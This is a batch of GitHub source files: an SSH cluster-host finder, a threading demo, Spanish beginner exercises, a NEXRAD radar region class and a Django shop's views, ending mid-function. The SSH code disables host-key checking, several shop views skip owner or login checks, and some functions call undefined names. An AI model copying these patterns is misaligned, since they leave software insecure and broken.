+{"seq_id":"3803134798","text":"import os,sys,re\nimport pickle \nimport socket\nimport inspect\nimport time\nfrom string import Template\n\nfrom sbpy_utils.core.my_copy import rsync\nfrom sbpy_utils.core.command_line import chmod,my_system, touch, easy_file_append, ssh_call, get_default_ssh_key, is_ssh_host_responding2,get_local_os\nfrom sbpy_utils.core.file_system import touch, mkdir_p\nfrom sbpy_utils.core.key_val import kvg,kv_get, kv_read, get_mutable_opts\nfrom sbpy_utils.core.my_datetime import get_simple_date\nfrom sbpy_utils.core.string_manipulation import filter_empty_strings, multifilter_string_list\nfrom sbpy_utils.core.synchronization import pause_with_countdown\n\ndef launch_condor_job_via_hyena(remote_host, script_path, uname, ssh_key=get_default_ssh_key(),remote_setup_cmds=''):\n    \n    current_dir = os.path.dirname(os.path.realpath(__file__))\n    launcher_script = os.path.join(current_dir,'launch_condor_job_via_hyena.sh')\n    cmd = ' '.join([launcher_script,remote_host,script_path,uname,ssh_key,remote_setup_cmds])\n    cmd_res = my_system(cmd)\n\n    print(cmd_res)\n    \n    \ndef get_unix_host_tmux_sessions(host_url):\n\n    is_host_up = is_ssh_host_responding2(host_url)\n    \n    if(is_host_up):\n        \n        string_args = ['ssh -o StrictHostKeyChecking=no -o ConnectTimeout=5 ',host_url,'\"tmux list-sessions  ;echo ENDSSH\"'];\n        cmd =   ' '.join(string_args)\n        cmd_res = my_system(cmd);\n        stdout_lines = filter_empty_strings( cmd_res.split('\\n') );\n\n        filters=['ENDSSH',\n                 'failed to connect to server',\n                 'Warning: Permanently added',\n                 'RESOURCE-INTENSIVE',\n                 'known hosts',\n                 'WARNING : Unauthorized access',\n                 'prosecuted by law. By accessing',\n                 'may be monitored']    \n\n        \n        out = multifilter_string_list(stdout_lines,filters,True)\n        out = multifilter_string_list(out,['windows (created'],False);\n    \n        num_sessions = len(out);    \n    else:\n        fprintf('%s is unresponsive. \\n', host_url)\n        out={};\n        num_sessions = Inf;\n    return (out,num_sessions,is_host_up)\n\n\n\ndef get_unix_host_logged_in_users(host_url):\n\n    is_host_up = is_ssh_host_responding2(host_url);\n\n    if(is_host_up):\n    \n        grep_cmd = {'linux':'grep -E','mac':'ack'}[get_local_os()]\n        string_args = ['ssh -o StrictHostKeyChecking=no -o ConnectTimeout=5 ',host_url,'\"who | '+grep_cmd+'  \\'pts|tts|ttys\\'  ;echo ENDSSH\"'];\n        cmd =  ' '.join(string_args)\n        cmd_res = my_system(cmd)\n        \n        stdout_lines = filter_empty_strings( cmd_res.split('\\n') );\n        \n        filters=['ENDSSH',\n                 'failed to connect to server',\n                 'Warning: Permanently added',\n                 'RESOURCE-INTENSIVE',\n                 'known hosts',\n                 'WARNING : Unauthorized access',\n                 'prosecuted by law. By accessing',\n                 'may be monitored']\n\n        out = multifilter_string_list(stdout_lines,filters,True)\n        out = multifilter_string_list(out,['pts','tty','ttys'],False);    \n        num_users = len(out);\n        \n    else:\n        print('%s is unresponsive. \\n' % host_url)\n        out=[];\n        num_users = 10000000000000;\n    return (out, num_users,is_host_up)\n\n\ndef find_free_hyena_machines(candidate_list_provider, user_limit=1, hyena_worker_per_node_limit=1, num_machines_ceiling=1, wait_for_free_nodes=True):\n    \n    all_candidates = candidate_list_provider();\n    \n    \n    \n    while(True):\n    \n        best_machines = [];\n        num_user_list = [];\n    \n        for candidate in all_candidates:\n            raw_host = candidate\n            candidate_host = raw_host;\n            logged_in_users, num_logged_in_users, _ = get_unix_host_logged_in_users(candidate_host);\n            tmux_sessions, num_tmux_sessions, is_host_up = get_unix_host_tmux_sessions(candidate_host);\n\n            if(is_host_up and num_logged_in_users<=user_limit and num_tmux_sessions<hyena_worker_per_node_limit):\n                best_machines.append(candidate_host)\n                num_user_list.append(num_logged_in_users)\n                print('%s : %d users, %d hyena sessions\\n',(raw_host,num_logged_in_users, num_tmux_sessions));\n                if(len(best_machines)>=num_machines_ceiling):\n                    return (best_machines,num_user_list)\n                else:\n                    print('%s : %d users, %d hyena sessions (OCCUPIED)\\n' % (raw_host,num_logged_in_users, num_tmux_sessions))\n                \n        if(wait_for_free_nodes):\n            print('\\nfind_free_hyena_machines(): waiting for hyena nodes from the candidate list to free up. All currently in use.\\n\\n');\n            time.sleep(3)\n        else:\n            print('\\nfind_free_hyena_machines(): could only acquire %d hyena nodes.\\n\\n' % len(best_machines));\n            return (best_machines,num_user_list)\n    return (best_machines,num_user_list)\n\ndef get_hyena_host_usage_ratios(hyena_pool):\n\n    hyena_machines = hyena_pool.keys()\n\n    ratios=[];\n    for hyena_machine in hyena_pool:\n    \n        host_slots_used = get_unix_host_tmux_sessions(hyena_machine)[1];\n        host_slots_total = hyena_pool[hyena_machine]['host_slots_total']\n        ratio = host_slots_used/host_slots_total;\n        ratios.append(ratio)\n    return ratios\n\ndef create_hyena_worker_pool(hyena_machines,jobs_per_host):\n    pool = {}\n    for hyena_machine in hyena_machines:\n        pool[hyena_machine]={'host_slots_used':0,'host_slots_total':jobs_per_host}\n    return pool\n\n\ndef get_next_hyena_host(hyena_pool):\n\n    hyena_machines = hyena_pool.keys()\n    while(True):\n        ratios = get_hyena_host_usage_ratios(hyena_pool)\n        min_ratio=min(ratios)\n        if(min_ratio<1):\n            break;\n        \n        print('\\nget_next_hyena_host(): waiting for a hyena node to free up. All currently in use.\\n\\n')\n        pause_with_countdown(10);\n    \n    \n    mindex = [i for i,r in enumerate(ratios) if r==min_ratio][0]\n    \n    next_host = hyena_machines[mindex];\n    return next_host","repo_name":"san-bil/pyena","sub_path":"src/pyena.py","file_name":"pyena.py","file_ext":"py","file_size_in_byte":6057,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"19034614202","text":"import threading\n\n# Lock Global Variable\nshared_resource_lock = threading.Lock()\n\n# Shared Global Variable\nnumber_with_lock = 1\n\n# Global Varaibles\nCOUNT = 100\nTHREADS = 2\nTIMEOUT = 5\n\nclass myThread(threading.Thread):\n\n    def __init__(self, threadID, events):\n        threading.Thread.__init__(self)\n        self.threadID = threadID\n        self.events = events\n        self.reminder = threadID % THREADS\n\n    def run(self):\n        global number_with_lock\n        # Wait for threads to start\n        self.events[self.threadID - 1].set()\n        for i in range(0,len(self.events)):\n            if i != self.threadID - 1:\n               self.events[i].wait(TIMEOUT)\n        # Increment number\n        print (\"Starting Tread \" + str(self.threadID) + \"\\n\")\n        while True:\n            shared_resource_lock.acquire()\n            if (number_with_lock <= COUNT and (number_with_lock%THREADS) == self.reminder):\n                print (\"Thread %d: Number %d\" % (self.threadID, number_with_lock))\n                number_with_lock += 1\n            shared_resource_lock.release()\n            if number_with_lock > COUNT:\n                break\n        # Print end of thread messsgae\n        print (\"Exiting Thread \" + str(self.threadID) + \"\\n\")\n\n#Main program\nif __name__ == '__main__':\n\n    threads = []\n    events = []\n\n    # Create Events to Sync Threads\n    for i in range(THREADS):\n        events.append(threading.Event())\n\n    # Create Thereads\n    for i in range(THREADS):\n        threads.append(myThread(i+1, events))\n\n    # Start the Threads created\n    for i in range(THREADS):\n        threads[i].start()\n\n    # Wait for all thread to complete \n    for i in range(THREADS):\n        threads[i].join()\n\n    print (\"Exiting Main Thread\")","repo_name":"bkatsnel/tenna-challenge","sub_path":"optimized_math_with_threads.py","file_name":"optimized_math_with_threads.py","file_ext":"py","file_size_in_byte":1738,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"29332224769","text":"#Aprobación de créditos\ningreso = int(input(\"Ingrese su sueldo en pesos: \"))\nanio_nacimiento = int(input(\"Ingrese su año de nacimiento: \"))\nedad = int(2021 - anio_nacimiento)\ncantidad_hijos = int(input(\"Ingrese cantidad de hijos: \"))\nanios_banco = int(input(\"Ingrese la cantidad de años que lleva en este banco: \"))\nestado_civil = input(\"Indique su estado civil (S) soltero / (C) casado: \")\nestado_civil= estado_civil.upper()\nlocalidad = input(\"Indique donde vive (U) urbano / (R) rural: \")\nlocalidad = localidad.upper()\n\n\nif anios_banco> 10 and cantidad_hijos >= 2:\n    print (\"APROBADO\")\nelif estado_civil == \"C\" and cantidad_hijos> 3 and edad >= 45 and edad <= 55 :\n    print (\"APROBADO\")\nelif ingreso > 2500000 and estado_civil == \"S\" and estado_civil== \"U\":\n    print (\"APROBADO\")\nelif ingreso > 3500000 and anios_banco > 5:\n    print (\"APROBADO\")\nelif localidad == \"R\" and estado_civil == \"C\" and cantidad_hijos < 2:\n    print (\"APROBADO\")\nelse:\n    print (\"RECHAZADO\")","repo_name":"pabloschwarzenberg/grader","sub_path":"hito1_ej3/hito1_ej3_e92cf7c3d809092a004cdd41bc6aa6e8.py","file_name":"hito1_ej3_e92cf7c3d809092a004cdd41bc6aa6e8.py","file_ext":"py","file_size_in_byte":979,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"17941739872","text":"'''\nEscribir las funciones necesarias para que el siguiente\ncódigo funcione:\n\n\nvalor1 = ingreso()\nvalor2 = ingreso()\noperacion = ingreso()\nif operacion == \"suma\":\n    print(\"Resultado\", suma(valor1, valor2))\nelif operacion == \"resta\":\n    print(\"Resultado\", resta(valor1, valor2))\n'''\n\n# definicion de funciones\ndef suma(num1, num2):\n    res = num1 + num2\n    return res\n\ndef resta(num1, num2):\n    res = num1 - num2\n    return res\n\n#declaraciones\nvalor1 = int(input(\"Ingrese un número: \"))\nvalor2 = int(input(\"Ingrese un número: \"))\noperacion = input(\"Ingrese una operación, 'suma'\"\n                  \" para sumar y 'resta' para restar: \")\n\n#codigo\nif operacion == \"suma\":\n    print(\"Resultado\", suma(valor1, valor2))\nelif operacion == \"resta\":\n    print(\"Resultado\", resta(valor1, valor2))\n","repo_name":"gitMatiH/RepoIntroProg","sub_path":"ClaseFunciones/Clase_funciones_ejercicio.py","file_name":"Clase_funciones_ejercicio.py","file_ext":"py","file_size_in_byte":796,"program_lang":"python","lang":"es","doc_type":"code","stars":4,"dataset":"github-code","pt":"77"}
+{"seq_id":"43404467451","text":"# NEXRAD Data Encapsulation - v0.1.0\n# Python Version: 3.7.3\n#\n# @author: Skye Leake\n# @date: 2020-04-28\n#\n# Updated\n# 2021-10-16\n#\n\n# --- Imports ---\nimport numpy as np\nfrom matplotlib.path import Path\nfrom scipy.interpolate import griddata\nfrom Transformation_Matrix_2 import comp_matrix\nfrom RadarSlice_L2 import RadarSlice_L2\n\nclass RadarROI_L2(RadarSlice_L2):\n    \n    @property\n    def clippedData(self):\n        if not hasattr(self, '_clippedData'):\n            self._clippedData = np.empty((1))\n        return self._clippedData\n\n    @property\n    def clippedRangeMap(self):\n        if not hasattr(self, '_clippedRangeMap'):\n            self._clippedRangeMap = np.empty((1))\n        return self._clippedRangeMap\n\n    @property\n    def mask(self):\n        return self._mask\n\n    @property\n    def area(self):\n        if not hasattr(self, '_area'):\n            self._area = -1.0\n        return self._area\n\n    @property\n    def meanReflectivity(self):\n        if not hasattr(self, '_meanReflectivity'):\n            self._meanReflectivity = -1.0\n        return self._meanReflectivity\n\n    @property\n    def varReflectivity(self):\n        if not hasattr(self, '_varReflectivity'):\n            self._varReflectivity = -1.0\n        return self._varReflectivity\n\n    @property\n    def polyVerts(self):\n        if not hasattr(self, '_polyVerts'):\n            self._polyVerts = []\n        return self._polyVerts\n    \n    @property\n    def tm(self):\n        if not hasattr(self,'_tm'):\n            self._tm = comp_matrix(scale=np.ones(2), rotation=np.zeros(2), \n                                    shear=np.ones(2), translation=np.zeros(2))\n        return self._tm\n\n    @clippedData.setter\n    def clippedData(self, value):\n        self._clippedData = value\n\n    @clippedRangeMap.setter\n    def clippedRangeMap(self, value):\n        self._clippedRangeMap = value\n\n    @mask.setter\n    def mask(self, value):\n        self._mask = value\n\n    @area.setter\n    def area(self,value):\n        self._area = value\n\n    @meanReflectivity.setter\n    def meanReflectivity(self, value):\n        self._meanReflectivity = value\n\n    @varReflectivity.setter\n    def varReflectivity(self, value):\n        self._varReflectivity = value\n\n    @polyVerts.setter\n    def polyVerts(self,value):\n        self._polyVerts = value\n\n    @tm.setter\n    def tm(self, value):\n        self._tm = value\n\n    #Override\n    def __init__(self, radarFile, sweep=0):\n        super(RadarROI_L2, self).__init__(radarFile, sweep)\n\n    def extractROI(self, baseCrds=None, baseBearing=0.0, scaleFactor=1.0):\n        if baseCrds is None:\n            baseCrds = np.array([(1.5,1.0,0.0,1.0),\n                        (1.5,-1.0,0.0,1.0),\n                        (-0.5,-1.0,0.0,1.0),\n                        (-0.5,1.0,0.0,1.0),\n                        (1.5,1.0,0.0,1.0)])    #default crds of bounding box (Gridded degrees)\n        \n        self.tm = comp_matrix(scale=np.ones(3)*scaleFactor, rotation=np.array([0,0, baseBearing]), \n                        shear=np.ones(3), translation=np.zeros(3))\n\n        self.polyVerts = self.tm.dot(baseCrds.T).T[:,:2]    # Apply transformation Matrix, remove padding, and re-transpose\n\n        # --- Generate ROI from coordiantes (above) create 2D boolean array to mask with ---\n        xp,yp = self.xlocs.flatten(),self.ylocs.flatten()\n        points = np.vstack((xp,yp)).T\n        path = Path(self.polyVerts)\n        grid = path.contains_points(points)\n        grid = grid.reshape(np.shape(self.xlocs))\n        rDataMasked = np.ma.masked_array(self.data, np.invert(grid))\n\n        # --- Clip our masked array, create sub-array of data and rotate ---\n        i, j = np.where(grid)\n        self.mask = np.meshgrid(np.arange(min(i), max(i) + 1), np.arange(min(j), max(j) + 1), indexing='ij')    # possible for there to be 0 (x or y) locs if crds are outside range of sweep for a certian sensor\n        rDataMaskedClip = self.data[self.mask]\n        rDataMaskClip = grid[self.mask]\n        self.clippedData = rDataMaskedClip*rDataMaskClip\n\n        rRangeMapMaskedClip = self.rangeMap[:,:][self.mask]     # self.rangeMap[:,:-1][self.mask] had to drop the tail clip for KMPX\n        self.clippedRangeMap = rRangeMapMaskedClip*rDataMaskClip\n\n        self.xlocs = self.xlocs[self.mask]\n        self.ylocs = self.ylocs[self.mask]\n        return self.clippedData\n\n    #Override\n    def find_area(self, reflectThresh=0.0):\n        self.stackedData = np.dstack([self.clippedData, self.clippedRangeMap])                     # remove last range gate on the rangeMap\n        self.area = np.nansum(np.where(self.stackedData[:,:,0]>= reflectThresh, self.stackedData[:,:,1], np.nan))\n        return self.area\n\n    #Override\n    def find_mean_reflectivity(self, reflectThresh=0.0):\n        if self.area == -1.0:\n            find_area(reflectThresh)\n        self.stackedData = np.dstack([self.clippedData, self.clippedRangeMap])\n        self.meanReflectivity = np.nansum(np.where(self.stackedData[:,:,0]>= reflectThresh, self.stackedData[:,:,0]*self.stackedData[:,:,1], np.nan))/self.area #return product of reflectivity & weighting factor where >= thresh\n        return self.meanReflectivity\n\n    #Override\n    def find_variance_reflectivity(self, reflectThresh=0.0):\n        if self.area == -1.0:\n            find_area(reflectThresh)\n        self.stackedData = np.dstack([self.clippedData, self.clippedRangeMap])\n        self.varReflectivity = np.nanvar(np.where(self.stackedData[:,:,0]>= reflectThresh, self.stackedData[:,:,0]*self.stackedData[:,:,1], np.nan))/self.area #return product of reflectivity & weighting factor where >= thresh\n        #self.varReflectivity = np.var(np.array(list(filter(lambda x: x >= reflectThresh, self.clippedData.flatten()))))\n        return self.varReflectivity\n\n    #Override\n    def get_interp_grid(self, reflectThresh = 0.0, grid_size_degree=0.0025):\n        #lonMin, lonMax = np.min(self.xlocs), np.max(self.xlocs)\n        #latMin, latMax = np.min(self.ylocs), np.max(self.ylocs)\n\n        lonMin, lonMax = np.min(self.polyVerts[:,0]), np.max(self.polyVerts[:,0])\n        latMin, latMax = np.min(self.polyVerts[:,1]), np.max(self.polyVerts[:,1])\n\n        #Dimentions of regular grid\n        latN = np.floor(np.abs(latMax-latMin)/grid_size_degree)\n        lonN = np.floor(np.abs(lonMax-lonMin)/grid_size_degree)\n        #ny, nx = 1500, 1500\n\n        #Generate a regular grid to interpolate the data.\n        xgrid, ygrid = np.mgrid[lonMin:lonMax:lonN*1j,\n                                latMin:latMax:latN*1j]  # we use the \"j\" complex number notation here to make both endpoints inclusive for the np.mgrid function\n        #reshape for interpolation\n        interp_locs = np.dstack((self.xlocs, self.ylocs)).reshape(self.xlocs.size,2)\n        grid = np.dstack((xgrid, ygrid)).reshape(xgrid.size,2)\n\n        interp_grid= griddata(points=interp_locs,\n              values=np.ravel(np.where(self.clippedData >= reflectThresh, self.clippedData, np.nan)),\n              xi=grid, method='linear')\n\n        interp_grid = interp_grid.reshape(np.shape(xgrid))\n\n        return xgrid.T, ygrid.T, interp_grid.T\n\n    #Override\n    def __str__(self):\n        return ('string method for radarRoi')","repo_name":"Skyehawk/BackBuilding_QuasiStationary_Tstorm_ID","sub_path":"RadarROI_L2.py","file_name":"RadarROI_L2.py","file_ext":"py","file_size_in_byte":7191,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"40765098624","text":"# -*- coding:utf-8 -*-\nfrom django.shortcuts import render\nfrom Shop.models import goods, shopcart, consignee, order, comment, category\nfrom django.contrib.auth import authenticate, login, logout\nfrom django.contrib.auth.backends import ModelBackend\nfrom django.http import HttpResponseRedirect, HttpResponse\nfrom .models import User\nfrom django.contrib.auth.decorators import login_required\nfrom django.contrib import messages\nfrom django.core.exceptions import ObjectDoesNotExist\nimport random\n\n#输出随机码\ndef generate_random_str(randomlength):\n    random_str = ''\n    base_str = 'ABCDEFGHIGKLMNOPQRSTUVWXYZabcdefghigklmnopqrstuvwxyz0123456789'\n    length = len(base_str)-1\n    for i in range(randomlength):\n        random_str += base_str[random.randint(0, length)]\n    return random_str\n\n# Create your views here.\n# 首页\ndef index(request):\n    goods_list = goods.objects.all()\n    return render(request, 'index.html', {'goods_list': goods_list})\n\n# 我的\n@login_required\ndef member(request):\n    return render(request, 'member.html')\n\n\n# 系统设置\ndef step(request):\n    return render(request, 'step.html')\n\n\n# 关于\ndef about(request):\n    return render(request, 'about.html')\n\n\n# 个人资料\ndef infor(req):\n    return render(req, 'infor.html')\n\n\n# 安全设置\ndef saftystep(req):\n    return render(req, 'saftystep.html')\n\n\n# 注册\ndef reg(req):\n    if req.POST:\n        username = req.POST['username']\n        password = req.POST['password']\n        user = User.objects.create_user(username=username, password=password)\n        shopcart.objects.create(user=user)\n        user.save()\n        return HttpResponseRedirect('/member.html')\n    return render(req, 'reg.html')\n\n\n# 登录\ndef mylogin(request):\n    if request.POST:\n        username = request.POST['username']\n        password = request.POST['password']\n        user = authenticate(request, username=username, password=password)\n        if user is not None:\n            login(request, user)\n            messages.info(request, '登录成功,跳转到首页')\n        else:\n            messages.error(request, '帐号或密码错误！')\n    return render(request, 'login.html')\n\n\n# 退出登录\ndef mylogout(request):\n    logout(request)\n    return HttpResponseRedirect('/index.html')\n\n\n# 购物车\n@login_required\ndef shopcart_views(req):\n    user = User.objects.get(username=req.user.username)\n    if req.POST:\n        goods_number = req.POST['number']\n        goods_id = req.POST['goods_id']\n        good = goods.objects.get(id=goods_id)\n        good.goods_shopcart_number += int(goods_number)\n        good.save()\n        user.shopcart.goods_set.add(good)\n        goods_list = user.shopcart.goods_set.all()\n        all_price = 0\n        for goods_ in goods_list:\n            all_price += goods_.price * goods_.goods_shopcart_number\n        user.shopcart.goods_all_price = all_price\n        user.shopcart.save()\n        return render(req, 'shopcart.html', {\"goods_list\": goods_list, \"shopcart\": user.shopcart})\n    user = User.objects.get(username=req.user.username)\n    goods_list = user.shopcart.goods_set.all()\n    return render(req, 'shopcart.html', {\"goods_list\": goods_list, \"shopcart\": user.shopcart})\n\n\n# 所有订单\n@login_required\ndef allorder(req):\n    if req.POST:\n        user = User.objects.get(username=req.user.username)\n        statue = req.POST['statue']\n        orders = user.order_set.filter(statue=statue)\n        return render(req, 'allorder.html',{\"orders\":orders,\"statue\":req.POST['statue']})\n    user = User.objects.get(username=req.user.username)\n    orders = user.order_set.all()\n    return render(req, 'allorder.html', {'orders': orders,\"statue\":\"全部\"} )\n#删除订单\ndef delorder(req):\n    user = User.objects.get(username=req.user.username)\n    user.order_set.get(order_id=req.POST['order_id']).delete()\n    user.save()\n    orders = user.order_set.all()\n    return render(req, 'allorder.html', {'orders': orders,\"statue\":\"全部\"} )\n#取消订单\ndef cancelorder(req):\n    user = User.objects.get(username=req.user.username)\n    order_get = user.order_set.get(order_id=req.POST['order_id'])\n    order_get.statue = \"退发货\"\n    order_get.save()\n    orders = user.order_set.all()\n    return render(req, 'allorder.html', {'orders': orders,\"statue\":\"全部\"} )\n\n# 订单\ndef order_views(req):\n    user = User.objects.get(username=req.user.username)\n    consignee_order = user.consignee_set.get(consignee_sign=True)\n    order_new = user.order_set.create(user=user, order_pk=consignee_order, order_id=generate_random_str(16))\n    price = 0\n    for i in range(0, len(req.POST)):\n        id_num = req.POST[str(i)]\n        id_num_split = id_num.split(':')\n        goods_id = id_num_split[0]\n        goods_num = id_num_split[1]\n        good = goods.objects.get(id=goods_id)\n        order_new.goods_set.add(good)\n        user.shopcart.goods_set.remove(good)\n        good.goods_shopcart_number = 0\n        price += int(goods_num) * good.price\n        order_new.order_price = price\n        order_new.order_price_pay = price\n        good.save()\n        order_new.save()\n    goods_list = order_new.goods_set.all()\n    order_consignee = order_new.order_pk\n    return render(req, 'order.html', {'goods_list':goods_list, 'order_consignee':order_consignee, 'order_price':price,'order_id':order_new.order_id})\n\n\n@login_required\n# 结算\ndef tureorder(req):\n    tureorder_list = []\n    price = 0\n    for i in range(0, len(req.POST)):\n        id_num = req.POST[str(i)]\n        id_num_split = id_num.split(':')\n        goods_id = id_num_split[0]\n        goods_num = id_num_split[1]\n        good = goods.objects.get(id=goods_id)\n        good.goods_order_number = goods_num\n        good.save()\n        price += good.price * int(goods_num)\n        tureorder_list.append(good)\n    return render(req, 'tureorder.html', {\"goods_list\": tureorder_list, \"allprice\":price})\n\n\n# 订单详情\ndef orderdetail(req):\n    order_get = order.objects.get(order_id=req.POST['order_id'])\n    consignee_get = order_get.order_pk\n    goods_get = order_get.goods_set.all()\n    return render(req, 'orderdetail.html',{'goods_list':goods_get,'order':order_get,'consignee':consignee_get})\n\n\n# 显示所有地址和设置默认地址\ndef gladdress(req):\n    user = User.objects.get(username=req.user.username)\n    if req.POST:\n        consignee_true = user.consignee_set.get(consignee_sign=True)\n        consignee_true.consignee_sign = False\n        consignee_true.save()\n        consignee_set = user.consignee_set.get(consignee_id=req.POST['input1'])\n        consignee_set.consignee_sign = True\n        consignee_set.save()\n    consignee_all = user.consignee_set.all()\n    return render(req, 'gladdress.html', {'consignee_all': consignee_all})\n\n#删除地址\ndef deladdress(req):\n    user = User.objects.get(username=req.user.username)\n    if req.POST:\n        user.consignee_set.get(consignee_id=req.POST['input2']).delete()\n        user.save()\n    consignee_all = user.consignee_set.all()\n    return render(req, 'gladdress.html', {'consignee_all': consignee_all})\n\n\n# 新增收货地址\ndef address(req):\n    if req.POST:\n        user = User.objects.get(username=req.user.username)\n        if (len(req.POST) == 4):\n            try:\n                consignee_sign_True = user.consignee_set.get(consignee_sign=True)\n                consignee_sign_True.consignee_sign = False\n                consignee_sign_True.save()\n                consignee.objects.create(user=user, consignee_sign=True, consignee_name=req.POST['name'],\n                                         consignee_address=req.POST['address'], consignee_phone=req.POST['phone'],consignee_id=generate_random_str(16))\n            except ObjectDoesNotExist:\n                consignee.objects.create(user=user, consignee_sign=True, consignee_name=req.POST['name'],\n                                         consignee_address=req.POST['address'], consignee_phone=req.POST['phone'],consignee_id=generate_random_str(16))\n        else:\n            consignee.objects.create(user=user, consignee_sign=False, consignee_name=req.POST['name'],\n                                     consignee_address=req.POST['address'], consignee_phone=req.POST['phone'],consignee_id=generate_random_str(16))\n\n        user = User.objects.get(username=req.user.username)\n        consignee_all = user.consignee_set.all()\n        return render(req, 'gladdress.html', {'consignee_all': consignee_all})\n    return render(req, 'address.html')\n\n\n# 动态\n@login_required\ndef message(req):\n    return render(req, 'message.html')\n\n\n# 分类\ndef category_views(req):\n    if req.POST:\n        category_get = category.objects.get(category_name=req.POST['name'])\n        goods_all = category_get.goods_set.all()\n        return render(req, 'category.html',{'goods_all':goods_all,'category':category_get})\n    category_apple = category.objects.get(category_name='苹果')\n    goods_apple = category_apple.goods_set.all()\n    return render(req, 'category.html', {'goods_all': goods_apple, 'category': category_apple})\n\n\n#评价\ndef comment_views(req):\n    if \"order_id\" in req.POST:\n        order_comment = order.objects.get(order_id = req.POST[\"order_id\"])\n        goods_list = order_comment.goods_set.all()\n        return render(req, 'comment.html',{\"goods_list\":goods_list})\n    else:\n        comment_text = req.POST['text']\n        comment_level = req.POST['radiovalue']\n        for i in range(0, len(req.POST)-2):\n            goods_id = req.POST[str(i)]\n            goods_comment = goods.objects.get(id=goods_id)\n            new_comment = comment.objects.create(comment_name=req.user.username, comment_content=comment_text, comment_level=comment_level)\n            goods_comment.comment_set.add(new_comment)\n            goods_comment.save()\n            return HttpResponse(\"1\")\n#添加评价\ndef addcomment(req):\n    return HttpResponse(\"\")\n\n# 收藏\ndef collect(req):\n    if req.POST:\n        goods_collect = goods.objects.get(id=req.POST[\"goods_id\"])\n        user = User.objects.get(username=req.user.username)\n        user.goods_set.add(goods_collect)\n        user.save()\n    user = User.objects.get(username=req.user.username)\n    goods_collect = user.goods_set.all()\n    return render(req, \"collect.html\", {'goods_collect':goods_collect})\n\n\n# 收藏编辑\ndef collect_edit(req):\n    user = User.objects.get(username=req.user.username)\n    goods_collect = user.goods_set.all()\n    return render(req, 'collect-edit.html',{\"goods_collect\":goods_collect})\n\n#收藏删除\ndef delcollect(req):\n    user = User.objects.get(username=req.user.username)\n    for i in range(0,len(req.POST)):\n        collect_del = goods.objects.get(id=req.POST[str(i)])\n        user.goods_set.remove(collect_del)\n        user.save()\n    goods_collect = user.goods_set.all()\n    return render(req, 'collect-edit.html',{\"goods_collect\":goods_collect})\n\n# 联系人\ndef contact(req):\n    return render(req, 'contact.html')\n\n\n# 商品详情\ndef detail(req, goods_id):\n    good = 0\n    middle = 0\n    bad = 0\n    if req.user.is_authenticated:\n        user = User.objects.get(username=req.user.username)\n        goods_list = user.goods_set.all()\n        goods_detail = goods.objects.get(id=goods_id)\n        if goods_detail in goods_list:\n            sign = 1\n        else:\n            sign = 0\n        comment_list = goods_detail.comment_set.all()\n        for com in comment_list:\n            if com.comment_level == 'good':\n                good += 1\n            elif com.comment_level == 'middle':\n                middle += 1\n            else:\n                bad += 1\n        if ((good!=0)|(middle!=0)|(bad!=0)):\n            good_bili = good/(good+middle+bad)*100\n            middle_bili = middle/(good+middle+bad)*100\n            bad_bili = bad/(good+middle+bad)*100\n        else:\n            good_bili = 0\n            middle_bili = 0\n            bad_bili = 0\n        return render(req, 'detail.html', {'goods_detail': goods_detail, \"collect\":sign, \"comment_list\":comment_list,\n                                           'good':good,'middle':middle,'bad':bad,\n                                           'good_bili': good_bili,\n                                           'middle_bili': middle_bili,\n                                           'bad_bili': bad_bili\n                                           })\n    else:\n        goods_detail = goods.objects.get(id=goods_id)\n        return render(req, 'detail.html', {'goods_detail':goods_detail,\n                                           'good':good,'middle':middle,'bad':bad,\n                                           'good_bili':good_bili,\n                                           'middle_bili':middle_bili,\n                                           'bad_bili':bad_bili})\n\n\n\n# 忘记密码\ndef forgetpassword(req):\n    return render(req, 'forgetpassword.html')\n\n\n# 积分\ndef integral(req):\n    user = User.objects.get(username=req.user.username)\n    if req.POST:\n        return HttpResponse(user.jifen)\n    return render(req, 'integral.html',{'user':user})\n\n\n# 积分兑换\ndef integralexchange(req):\n    return render(req, 'integralexchange.html')\n\n\n# 积分兑换记录\ndef integralrecords(req):\n    return render(req, 'integralrecords.html')\n\n\n\n\n\n# 动态详情\ndef messdetail(req):\n    return render(req, 'messdetail.html')\n\n\n\n\n# 我的钱包\ndef money(req):\n    return render(req, 'money.html')\n\n\n\n\n# 我的推荐\ndef myrecommend(req):\n    return render(req, 'myrecommend.html')\n\n\n# 新闻\ndef news(req):\n    return render(req, 'news.html')\n\n\n\n\n# 密码\ndef password(req):\n    if req.POST:\n        username = req.POST['username']\n        old_password = req.POST['old_password']\n        new_password = req.POST['new_password']\n        user = authenticate(req, username=username, password=old_password)\n        if new_password != '':\n            if user:\n                user = User.objects.get(username=username)\n                user.set_password(new_password)\n                user.save()\n                messages.info(req, '修改成功需重新登录')\n            else:\n                messages.error(req, '帐号或密码错误')\n        else:\n            messages.error(req, '新密码为空')\n    return render(req, 'password.html')\n\n\n# 支付\ndef pay(req):\n    user = User.objects.get(username=req.user.username)\n    order_get = user.order_set.get(order_id=req.POST[\"order_id\"])\n    if(len(req.POST)>1):\n        order_get.pay_method = req.POST[\"paymethod\"]\n        if req.POST[\"paymethod\"]==\"zhanghu\":\n            balance = user.money - order_get.order_price_pay\n            if balance >=0:\n                user.money = balance\n                messages.info(req, \"支付成功,跳转到主页\")\n                user.save()\n                order_get.statue = \"待收货\"\n                order_get.save()\n            else:\n                messages.error(req, \"支付失败,跳转到充值\")\n    return render(req, 'pay.html',{\"order\":order_get})\n\n# 支付密码\ndef payment(req):\n    return render(req, \"payment.html\")\n\n\n# 充值\ndef recharge(req):\n    return render(req, 'recharge.html')\n\n\n# 推荐有奖\ndef recommend(req):\n    return render(req, 'recommend.html')\n\n\n# 账户余额\ndef records(req):\n    user = User.objects.get(username=req.user.username)\n    return render(req, 'records.html',{'user':user})\n\n\n\n# 消息中心\ndef tidings(req):\n    return render(req, 'tidings.html')\n\n\n# 过期红包\ndef ygq(req):\n    return render(req, 'ygq.html')\n\n\n# 可使用红包\ndef yhq(req):\n    return render(req, 'yhq.html')\n\n\nclass Mybackend(ModelBackend):\n    def authenticate(self, username=None, password=None, ):\n        try:\n            user = User.objects.get(username=username)\n            if user.check_password(password):\n                return user\n        except Exception as e:\n            return 